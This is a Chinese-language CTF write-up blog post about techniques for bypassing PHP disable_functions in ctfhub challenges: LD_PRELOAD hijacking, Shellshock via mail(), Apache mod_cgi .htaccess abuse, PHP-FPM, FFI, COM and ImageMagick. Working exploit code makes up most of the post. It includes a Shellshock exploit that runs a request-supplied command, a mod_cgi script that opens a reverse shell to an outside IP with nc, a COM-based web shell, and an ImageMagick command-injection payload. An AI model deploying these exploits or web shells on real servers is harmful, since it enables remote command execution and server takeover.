avatar

目录
Bypass disable_function

题目环境

ctfhub

函数

一些可执行系统命令的函数passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_exec
PHP 中可以利用的危险的函数

LD_PRELOAD

条件

支持putenv
支持mail,imap_mail,mb_send_mail,error_log
目录可写

原理

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持。
LD_PRELOAD详解
一般劫持getuid(),再用 mail() 函数来触发 sendmail程序进而执行被劫持的 getuid()来执行代码。

例子

passwd.c

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
passwd.c
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char passwd[] = "password";

if (argc < 2) {
printf("usage: %s <password>\n", argv[0]);
return;
}

if (!strcmp(passwd, argv[1])) {
printf("Correct Password!\n");
return;
}

printf("Invalid Password!\n");
}

hack.c

Code
1
2
3
4
5
6
7
8
9
10
11
12
/* hack.c */

#include <stdio.h>
#include <string.h>

int strcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
/* 永远返回0,表示两个字符串相等 */
return 0;

}

gcc -o verifypasswd passwd.c 编译passwd.c
gcc -shared -fPIC -o hack.so hack.c 生成动态链接库
再依次执行以下命令,可以看到后面程序使用了hack.c的strcmp函数

题目

第一题可以直接使用蚁剑的disable_function插件直接使用LD_PRELOAD上传,也可以使用bypass_disablefunc_via_LD_PRELOAD自行上传,之后http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so来执行命令。

ShellShock

条件

使用条件存在CVE-2014-6271破壳漏洞,原理

支持支持mail,imap_mail,mb_send_mail,error_log
默认的 shell 是 bash

原理

此处以mail()函数作为例子,PHP的mail()函数用于发送邮件,提供了3个必选参数和2个可选参数:
mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] ) : bool
在PHP mail()函数的源代码mail.c中,有如下代码片段,其中mial()函数的第五个参数即为extra_cmd:

Code
1
2
3
4
5
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}

当extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf()将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd。 然后将sendmail_cmd丢给popen()执行。
之后popen()会派生bash进程,再利用破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制。

exp如下:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

题目

不能直接使用蚁剑插件
上传了l3m0n师傅的exp后查看可以利用的函数

修改exp使用imap_mail函数,flag在根目录使用tac查看

Apache Mod CGI

条件

apache 使用apache_mod_php
Apache 开启了cgi, 允许.htaccess文件生效
目录可写

原理

Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP。在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序,当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效,在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效.

构造一下exp执行命令

Code
1
2
3
#! /bin/bash
echo -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500
whoami

l3m0n师傅exp如下

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text, $condition, $yes, $no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked'])) {
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
} else {
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled", $modcgi, "Yes", "No");
checkEnabled("Is writable", $writable, "Yes", "No");
checkEnabled("htaccess working", $htaccess, "Yes", "No");
if (!($modcgi && $writable && $htaccess)) {
echo "Error. All of the above must be true for the script to work!"; //abort if not
} else {
checkEnabled("Backing up .htaccess", copy(".htaccess", ".htaccess.bak"), "Suceeded! Saved in .htaccess.bak", "Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file", file_put_contents('.htaccess', "Options +ExecCGI\nAddHandler cgi-script .dizzle"), "Succeeded!", "Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file", file_put_contents('shell.dizzle', $shellfile), "Succeeded!", "Failed!"); //write the file
checkEnabled("Chmod 777", chmod("shell.dizzle", 0777), "Succeeded!", "Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

首先把执行的命令写到了shell.dizzle中,之后再检测mod_cgi模块是否启用;当前目录是否可写;.htaccess文件是否可以生效。
之后备份原有的.htaccess文件,并新建.htaccess文件内容为Options +ExecCGI\nAddHandler cgi-script .dizzle
赋权限后在js调用。

题目

flag是644权限,www-data用户无法通过读文件的形式读到内容,
执行 tac /flag >> /var/www/html/1.txt 得到flag。

PHP-FPM/Fastcgi

条件

PHP必须运行于PHP-FPM/FastCGI模式下

原理

Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM 则是php环境中对Fastcgi协议的管理程序实现。Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量。

访问一个url,请求会被解析成键值对

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/hackme.php',
'SCRIPT_NAME': '/hackme.php',
'QUERY_STRING': '?test=1',
'REQUEST_URI': '/hackme.php?test=1',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '6666',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中SCRIPT_FILENAME 用于指定执行的文件,但php-fpm的默认配置中有一个选项:security.limit_extensions 限制了fpm可执行的后缀文件。
我们可利用两个php环境变量字段来构造fastcgi包让fpm执行指定的文件: PHP_VALUE及PHP_ADMIN_VALUE。
设置auto_prepend_file = php://input以及allow_url_include = On,实现在执行php文件执行前进行远程文件包含POST内容,从而任意代码执行。

题目

直接使用蚁剑插件重新连接后查看flag

UAF

php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令

影响范围是linux,php7.0-7.3

exp

php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令

影响范围是linux,php 7.1-7.3

exp

Backtrace UAF

FFI扩展

条件

opcache.preload 启用
FFI support = enable

原理

PHP7.4 的一个新特性 FFI(Foreign Function Interface),即外部函数接口,可以让我们在 PHP 中调用 C 代码,先声明 C 中的命令执行函数,然后再通过 FFI 变量调用该C 函数即可 Bypass disable_functions。
使用 FFI::cdef 声明一个 system 函数使用就可以执行系统命令

Code
1
2
3
4
5
6
7
8
<?php

$ffi = FFI::cdef(
"int system(const char *command);",
"libc.so.6");

$ffi->system("id");
?>

若只能控制 FFI::cdef 函数的 lib 参数的时候,FFI::cdef 函数还可以加载我们自定义的动态链接库
ffi.php

Code
1
2
3
4
5
<?php
$ffi = FFI::cdef(
"int system(const char *command);",
"/var/www/html/hack.so"); //需绝对路径
?>

hack.c

Code
1
2
3
4
#include <stdlib.h>
__attribute__((constructor)) void main(){
system("id");
}

生成hack.so的动态链接库即可执行

题目

执行tac /flag >> /var/www/html/1.txt得到flag

COM

条件

windows
com.allow_dcom = true
extension = php_com_dotnet.dll

原理

COM组件对象模型,是一种跨应用和语言共享二进制代码的方法。COM 可以作为 DLL 被本机程序载入也可以通过 DCOM 被远程进程调用。C:\Windows\System32\wshom.ocx默认存在,能够提供 WshShell 对象和 WshNetwork 对象接口的访问,也就是提供对本地 Windows shell 和计算机所连接的网络上共享资源的访问。

Code
1
2
3
4
5
6
7
8
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

通过 COM 对象的 exec() 方法即可绕过 disable_functions 执行命令

ImageMagick

ImageMagick 是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的 JPEG、GIF、 PNG、PDF 以及 PhotoCD 等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。

需存在CVE-2016–3714ImageMagick 命令执行漏洞:
ImageMagick 6.5.7-8 2012-08-17
ImageMagick 6.7.7-10 2014-03-06
低版本至6.9.3-9 released 2016-04-30

exp如下:

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";

function AAAA(){
$command = 'curl 127.0.0.1:7777';

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>

参考链接

通过Antsword看绕过disable_functions
绕过disable_functions学习笔记
Bypass_Disable_functions_Shell

文章作者: 2hangd
文章链接: https://zhangding222.github.io/2020/03/06/disable-function/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 2hangding's bl0g